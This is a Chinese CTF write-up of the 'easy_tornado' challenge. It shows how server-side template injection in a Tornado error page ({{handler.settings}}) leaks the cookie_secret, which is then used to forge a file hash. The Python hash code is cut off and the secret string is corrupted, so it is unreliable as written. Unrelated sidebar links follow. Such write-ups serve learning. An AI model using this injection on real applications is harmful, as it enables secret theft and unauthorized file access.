当前位置:网站首页>漏洞复现-easy_tornado
漏洞复现-easy_tornado
2022-07-07 05:07:00 【_s1mple】
[环境]
windows
[工具]
Firefox
[步骤]
tornado是python中的一个web应用框架。
拿到题目发现有三个文件:

flag.txt
/flag.txt
flag in /fllllllllllllag发现flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt
renderrender是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={ {datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'计算filehash值:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]
MySQL multi column index (composite index) features and usage scenarios

王爽 《汇编语言》之寄存器

2022 Inner Mongolia latest advanced fire facility operator simulation examination question bank and answers

海信电视开启开发者模式

船载雷达天线滑环的使用

CDC (change data capture technology), a powerful tool for real-time database synchronization

Register of assembly language by Wang Shuang

JS cross browser parsing XML application

复杂网络建模(一)

Linux server development, detailed explanation of redis related commands and their principles
随机推荐
Network learning (III) -- highly concurrent socket programming (epoll)
ZCMU--1396: 队列问题(2)
It took "7" years to build the robot framework into a micro service
buureservewp(2)
Blob 對象介紹
海信电视开启开发者模式
OpenJudge NOI 2.1 1752:鸡兔同笼
芯片 設計資料下載
Introduction à l'objet blob
Search for an element in a binary search tree (BST)
让Livelink初始Pose与动捕演员一致
2022年全国最新消防设施操作员(初级消防设施操作员)模拟题及答案
Dedecms collects content without writing rules
[quick start of Digital IC Verification] 15. Basic syntax of SystemVerilog learning 2 (operators, type conversion, loops, task/function... Including practical exercises)
offer收割机:两个长字符串数字相加求和(经典面试算法题)
Force buckle 145 Binary Tree Postorder Traversal
CDC (change data capture technology), a powerful tool for real-time database synchronization
Linux server development, redis protocol and asynchronous mode
[Matlab] Simulink 自定义函数中的矩阵乘法工作不正常时可以使用模块库中的矩阵乘法模块代替
Blob 对象介绍